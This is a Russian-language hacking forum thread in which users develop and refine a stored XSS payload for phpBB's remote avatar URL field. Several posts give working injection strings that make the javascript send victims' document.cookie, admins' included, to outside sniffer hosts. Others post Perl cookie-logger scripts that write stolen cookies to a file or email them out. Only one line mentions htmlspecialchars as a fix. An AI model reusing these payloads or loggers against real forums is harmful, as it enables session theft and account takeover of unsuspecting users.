PDA

Просмотр полной версии : XSS в phpBB

zFlex
27.12.2004, 10:58
йопт!! запарился уже... мож потому и не могу решить проблему, что она слишком легкая :confused:
Короче так, на форуме phpBB есть возможность вставлять аватар со своего url , решил проверить на дырочку, и вписал туда javascript:alert();
в ответ получил:
<img src="javascript:alert();" alt="" border="0" />
идем дальше...
решил проверить на окончание *.jpg , вписав x.jpg и получил:
<img src="x.jpg" alt="" border="0" />
затем проверил вписав x.ru x=`x.jpg получил:
<img src="x.ru x=`x.jpg" alt="" border="0" />
и т.п.
Вопрос вот в чем: пишу вместо картинки снифер (http://antichat.ru/cgi-bin/s.jpg) и он прекрасно его ловит, однаком не нужны куки всех, у кого грузится страница с моим аватором, все перепробовал, но нифига не получается :mad: Помогите плзз... :(
Algol
28.12.2004, 00:21
Приведи код, который ты вставляешь в форум.
zFlex
28.12.2004, 08:16
поэтому и спрашиваю, как код оформить?? Дело в том, что форум съедает любые варианты, т.е. что бы не писалось в поле ссылки на аватар - все будет отображаться как картинка, например:
пишем в поле bla-bla-bla
получится <img src="bla-bla-bla" alt="" border="0" />
пишем javascript:alert(document.cookie)
и при загрузки страницы нам открывается alert окно в котором наши куки, а в html-тегах видим <img src="javascript:alert(document.cookie)" alt="" border="0" />
Словом, все, что бы Мы не писали в графе аватара, форум будет съедать как картинку <img src="наш текст">
Вот Я и спрашиваю, как мне вместо отображения document.cookie у юзера отдать запрос сниферу, что бы он их словил, а у юзера ни чего не отображалось?? Многое пререпробовал, но результат один и тот же - снифер ловит opener.location (url на котором находится юзер), то бишь адрес, откуда был вызван снифер, а не document.cookie - его куки...
Потенциальная дырка есть, но ее нужно оформить!! Есть идеи?! ;)
zFlex
29.12.2004, 11:34
Ура-а-а-а-а-а!!!!!! Решение найдено!! :cool: ;) :p
zFlex
30.12.2004, 08:24
Короче так... :cool:
Есть в phpBB такая хреновина, как аватар и там нет фильтра на спец символы, а это нам позволяет делать все, что вздумается ;) Инфы об этом XSS ни где не встречал, поэтому можно считать новой :rolleyes:

XSS такой:
http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)
где [target] - url на реальную картинку
localhost - url снифера

В ответ от сервера получаем в html-тегах:
<img src="http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)" alt="" border="0" />

таким образом грузится картинка, не доставляющая жертве (ею может быть админ) ни каких неудобств, в то время как его куки уходят к сниферу :rolleyes:

з.ы. кто первый - тот и пускай пишет ролик для видео.античат.ру , тока просьба указать, что эту ни кому не приметную багу нашел zFlex.
С ув., Йа ))
alien51
13.01.2005, 00:17
Мля мля неработает ... http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)

Как именно вставить в сообщение на форуме эту штуку ??
>>ElvI$<<
13.01.2005, 00:41
Блин,ты че глупый,какой нафиг сообщение в форуме...это вставляется в АФАТАР!!!т.е. когда регаешься или редактируешь свой акк,там пишешь,где url: http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)?


P.s.: я могу написать видео...
>>ElvI$<<
13.01.2005, 01:15
Обломчик,на большенстве серверов стоит блок 8)
alien51
13.01.2005, 02:02
Блин,ты че глупый,какой нафиг сообщение в форуме...это вставляется в АФАТАР!!!т.е. когда регаешься или редактируешь свой акк,там пишешь,где url: http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)?


А где скрипт взять, который записывал бы их в отдельное файло ? У меня есть но они неканают или я чё то неправельно делаю....

#!/usr/bin/perl -w
#
open cOOKIES,"cookies.txt";
print "Conter-Type:text/html\n\n\";
#
#
print COOKIES "-------------new cookie----------\n";
#
#
#
print COOKIES "$ENV{'QERY_STRING'}\n';
#
print COOKIES "---------end of cookie------------"\n\n";
#
close COOKIES;


и ещё


#!/usr/bin/perl
use CGI qw(:standard);
$cookie=$ENV{QUERY_STRING};
$file="cookies.txt"; //???? ??????????? ????
open FILE, ">>$file";
print FILE "$cookie\n\n";
close FILE;
$query = CGI::new();
print $query->redirect('http://www.musthave.ru');
$mailprog = '/usr/sbin/sendmail';
$mail='xaker@xaker.ru'; //??? ???????? ???? ???? ? ????????? ??? ???????
$target='pass@admina.net';
open MAIL, "|mailprog -t";
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: new cookies\n";
print MAIL "To: $mail\n";
print MAIL "From: .$target\n\n";
print MAIL "$cookie";
close MAIL;


Дак вот как привельно составить эту строчку и почему у меня это дело всё неработает ... ваще Шляпа какая то :| :mad:
alien51
13.01.2005, 21:35
Парни помогите или дайте ссылку на мануал ..... нужно ... или оправте скрипт и ссылку на мыло alien51@yandex.ru заранее спасибо.
zFlex
13.01.2005, 23:42
Вот пример:
http://www.smailiki.nm.ru/lam/lam4.gif" style="background:url(javascript:document.images[0].src=/http:xxantichat.ruxcgi-binxs.jpg?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)

Кто будет писать видео, просьба написать, что уязвимость нашел Mr. Iron (icq # 9170797)
Самое простое решение против этого XSS - это htmlspecialchars()
;)
Егорыч+++
13.01.2005, 23:53
да прикольно..
Егорыч+++
13.01.2005, 23:55
Плохо что максимум что можно с этого взять это базу пользователей
>>ElvI$<<
14.01.2005, 00:44
Кстате,под эту уязвимость не попадает Phpbb 2.0.11 ....
если я не прав... заделитесь ссылочкой Icq:937843
Algol
14.01.2005, 13:00
Тока зря все эти шаманские танцы с .source.replace(/x/g,String.fromCharCode(47))
Это можно сделать намного проще:

http://www.smailiki.nm.ru/lam/lam4.gif" bb="http://antichat.ru/cgi-bin/s.jpg?" style="background:url(javascript:document.images[0].src=this.bb+document.cookie)

:D
TORn@Do
14.01.2005, 13:33
Тока зря все эти шаманские танцы с .source.replace(/x/g,String.fromCharCode(47))
Это можно сделать намного проще:

http://www.smailiki.nm.ru/lam/lam4.gif" bb="http://antichat.ru/cgi-bin/s.jpg?" style="background:url(javascript:document.images[0].src=this.bb+document.cookie)

:D

урааааааааа Работает даже на версси PHPBB 2.0.11
TORn@Do
14.01.2005, 13:37
plunul eto:
document.writeln (
"<a target=_blank href='http://ad.strict.tbn.ru/bb.cgi?cmd=go&r=r_ssi" +
"&vbn=353&pac=2836328&pnm=7&bac=69735877&bnm=2&ref=http%3A%2F%2Ftattoo%2Efani%2Eru%2F&loc=&htr=http%3A%2F%2Ftattoo%2Efani%2Eru%2Fgallery%2F'>" +
"<img src='http://195.161.118.159/69735/69735877_2.gif' border=0 width=468 height=60 alt=\"TBN -- The Banner Network\" title=\"TBN -- The Banner Network\"></a>"
);
A1ien
15.01.2005, 09:17
http://www.smailiki.nm.ru/lam/lam4.gif" bb="http://antichat.ru/cgi-bin/s.jpg?" style="background:url(javascript:document.images[0].src=this.bb+document.cookie)
И куда сохраняется файл с Хешами ???
alien51
15.01.2005, 13:30
Вот вот где путь то на скрип и какой должен быть скрипт ... ??
b00
15.01.2005, 17:30
урааааааааа Работает даже на версси PHPBB 2.0.11

Ой ли. У меня на форуме кавычки спокойно квотируются:
<img src="http://avatar.com/x.jpg&quot; bb=&quot;http://antichat.ru
Че Гевара
15.01.2005, 17:47
Ой ли. У меня на форуме кавычки спокойно квотируются:
<img src="http://avatar.com/x.jpg&quot; bb=&quot;http://antichat.ru

А так проходит?

http://www.smailiki.nm.ru/lam/lam4.gif` bb=`http://antichat.ru/cgi-bin/s.jpg?` style=`background:url(javascript:document.images[0].src=this.bb+document.cookie)
b00
15.01.2005, 17:57
А так проходит?

http://www.smailiki.nm.ru/lam/lam4.gif` bb=`http://antichat.ru/cgi-bin/s.jpg?` style=`background:url(javascript:document.images[0].src=this.bb+document.cookie)


такая длинная конструкция - нет :)
<img src="http://aaa.bb/x.gif` bb=`http://antichat.ru/cgi-bin/s.jpg?` style=`background:url(javascript:documen" alt="" /><br />

Да и админы уже года 2 IE не юзают :cool:
b00
15.01.2005, 18:58
загнал в аватар тестовую строку
<img src="http://abc.ru/x.gif` style=`background:url(javascript:alert())" alt="" border="0" /><br /><br />

в IE не отработало
Че Гевара
15.01.2005, 19:53
Он и не сработает ... Я что-то перемудрил по ходу дела....
По идее, сработает он в таком случае:

<img src="http://abc.ru/x.gif"style=background-image:url(javascript:alert()) alt="" border="0">

Но т.к. кавычки преобразуются, то он тоже не сработает ...)
Сейчас подумаем еще ...
SHiTS
15.01.2005, 20:03
вот смотрю на вас и не знаю че сказать...
Че Гевара
15.01.2005, 20:14
Как бы Егор меня не путал, по идее оба скрипта синтаксически верны:

<img src="http://abc.ru/x.gif"style=background-image:url(javascript:alert('1')) alt="" border="0">
<img src=`http://abc.ru/x.gif`style=background-image:url(javascript:alert('2')) alt="" border="0">

И вот в чем была моя ошибка и чего я не учел:
Аватара отображается как

<img src="http:/site/1.jpg" alt="" border="0" />

И само собой разумеется, что я предложил синтаксически неверно (в нашем случае):

http://www.smailiki.nm.ru/lam/lam4.gif` bb=`http://antichat.ru/cgi-bin/s.jpg?` style=`background:url(javascript:document.images[0].src=this.bb+document.cookie)

Все это преобразуется в <img src=" http://www.smailiki.nm.ru/lam/lam4.gif` .... ... что является галиматьей полной и естесственно не сработает ...
Получается - раз кавычки преобразуются в &quot; , то за пределы <img src="... никуда не выйти ...

Извиняюсь за свою ошибку - просто я не вчитался в тему ...
b00
15.01.2005, 20:42
Ничего, со всякими случается.
virgoz
25.01.2005, 00:09
Не работает...
пишет:
Файл по указанному вами Url не содержит данных
чё не так?...
byte57
25.01.2005, 15:51
да, попадается...
может на новых версиях не рубит фишка?
san40
04.02.2005, 16:20
Дак а какой вариант верный??? :)
byte57
06.02.2005, 11:46
http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[0].src="http://www.sniffsite.ru/sniff.php?"+document.cookie)
byte57
07.02.2005, 17:54
вставить можно на некоторых форумах, названия не скажу, эта информация недоступна для таких бухал как ты...
Fr1k
11.02.2005, 13:35
Нда ... круто!!!
byte57
11.02.2005, 22:03
скоро бои устраивать будем =))
да не, чел нормльный вроде, вот как закончит прикалываться, можно даже общаться с ним....
Ricky
05.01.2006, 08:09
http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[0].src="http://www.sniffsite.ru/sniff.php?"+document.cookie)
Речь шла о пхпбб, а не о Инвизион.
syntacsis
05.01.2006, 10:35
Речь шла о пхпбб, а не о Инвизион.
wj, прикрыли твои уязвимости в пхпбб. пора новые делать, пусть 20 ю выпускают. )) когда первые заплатки написали, все проходило в другом регистре (URL). а теперь не прокатывает. хотя не знаю как в других форумах, а в пхпбб все хсс можно через админку прикрыть, не меняя кода. но этого никто не делал.
Ricky
05.01.2006, 10:43
wj, прикрыли твои уязвимости в пхпбб. пора новые делать, пусть 20 ю выпускают. )) когда первые заплатки написали, все проходило в другом регистре (URL). а теперь не прокатывает. хотя не знаю как в других форумах, а в пхпбб все хсс можно через админку прикрыть, не меняя кода. но этого никто не делал.
Знаю что прикрыли, по этому Я уже прибежал на помощь. Замените мой второй тег урл, на тег мыла.

Так же есть уязвимость в теге картинки.